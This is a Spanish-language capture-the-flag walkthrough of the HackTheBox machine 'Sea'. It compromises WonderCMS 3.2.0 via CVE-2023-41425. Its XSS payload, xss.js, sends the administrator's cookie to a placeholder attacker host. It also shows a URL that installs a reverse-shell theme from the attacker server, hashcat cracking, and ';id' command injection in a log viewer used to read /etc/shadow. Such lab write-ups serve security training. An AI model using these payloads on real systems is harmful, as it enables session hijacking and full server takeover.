HackTheBox: Sea
Sea es una máquina fácil de HackTheBox que presenta una página web estática hecha en WonderCMS, vulnerable a cross-site scripting. Después de explotarla y entrar al servidor, encontramos una instancia corriendo en un puerto de localhost que nos da inyección de comandos como root, comprometiendo por completo la máquina.
Sitio web estático de Sea:

Enumeración
Escaneo Nmap
Mirando el escaneo de Nmap, solo los puertos 22/TCP y 80/TCP están abiertos.
$ nmap -p22,80 -sCV -Pn -n 10.10.11.28
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Enumeración de directorios
Después de varios escaneos, hacemos un escaneo profundo de /themes/bike/ y encontramos directorios con información valiosa sobre el sitio.

Al acceder a README.md, se descarga un archivo markdown. Acá podemos ver que el sitio usa un CMS llamado WonderCMS.
$ cat README.md
# WonderCMS bike theme
## Author: turboblack
## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes". WonderCMS es un CMS de archivos planos pequeño y simple, construido con PHP y desarrollado desde 2008. Busca ser extremadamente ligero y fácil de instalar.
Rápidamente fuimos a /version para averiguar qué versión de WonderCMS corría el host, y encontramos la versión 3.2.0.

Acceso inicial
Una simple búsqueda en Google sobre el CMS y la versión revela que tiene CVE-2023-41425, que cuenta con un PoC que podemos explotar.
https://github.com/prodigiousMind/CVE-2023-41425 Para explotar la vulnerabilidad, nos ubicamos en la página de contacto.

Luego tomamos solo una porción del PoC para nuestro beneficio. En este punto solo queremos explotar el XSS para hacer un ataque de session hijacking, así que extraemos el siguiente código y lo guardamos en un archivo xss.js.
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://<Attacker-IP>/?"+document.cookie, true);
xhr.send(); Luego levantamos un servidor HTTP para servir el archivo xss.js y capturar la cookie robada del administrador.
python3 -m http.server 80 En el formulario de contacto, insertamos todos los datos y el siguiente payload para que el XSS ejecute el archivo xss.js.
http://sea.htb/index.php?page=LoginURL?"></form><script+src="http://<Attacker-IP>/xss.js"></script><form+action=" 
Capturamos la cookie del administrador para poder autenticarnos como admin.

Después de cambiar nuestra cookie por la del administrador, tenemos acceso completo al sitio.


Ahora seguimos el siguiente paso del PoC, que es obtener RCE instalando un nuevo theme malicioso. Primero descargamos el theme malicioso del PoC para servirlo desde nuestro servidor HTTP.
https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip Y levantamos de nuevo un servidor HTTP si el anterior se cerró.
python3 -m http.server 80 Para instalar el módulo malicioso, pasamos la siguiente URL:
/?installModule=http://<Attacker-IP>/revshell-main.zip&directoryName=violet&type=themes&token=<Token> Encontramos el token yendo a Settings -> Themes y pasando el mouse sobre cualquier botón Install; veremos la URL completa con el token al final.

Instalamos el módulo malicioso.

Finalmente, usamos el módulo malicioso para lanzar una reverse shell, como nos indica el PoC.

Verificamos la reverse shell obtenida.

En el webroot encontramos un archivo llamado database.js con información sensible: un hash Blowfish de una contraseña.

La contraseña tiene algunos escapes de barra invertida que debemos quitar para que se identifique como un hash válido. Lo crackeamos con hashcat usando el modo 3200 para Blowfish.
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt --force
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ...:########## Usamos la contraseña para autenticarnos por SSH como uno de los usuarios, y entramos como amay.

Acá obtuvimos la primera flag de esta máquina.

Escalada de privilegios
Para escalar privilegios, después de enumerar el host encontramos que en localhost corría el puerto 8080, que podría darnos algo importante.

Lanzamos un port forward con SSH.
ssh -L 1234:localhost:8080 [email protected] Accedimos a la app web autenticándonos como amay de nuevo, y vemos que podemos leer access.log y auth.log, archivos que normalmente solo puede leer un usuario privilegiado.

Para analizarlo más a fondo, interceptamos una petición con Burp Suite. Todo normal hasta ahora; solo notamos que el parámetro log_file usa la ruta completa de auth.log para mostrarlo, lo que podría indicar un LFI.

Para confirmar el LFI y verificar nuestros privilegios, intentamos leer el archivo shadow, y obtuvimos una respuesta con los datos. Tuvimos que insertar ;id al final de la ruta para romper el comando que lee el archivo y ver el shadow completo. Con esto, podemos obtener acceso root a la máquina.

Finalmente obtuvimos la flag de root.

Gracias por leer.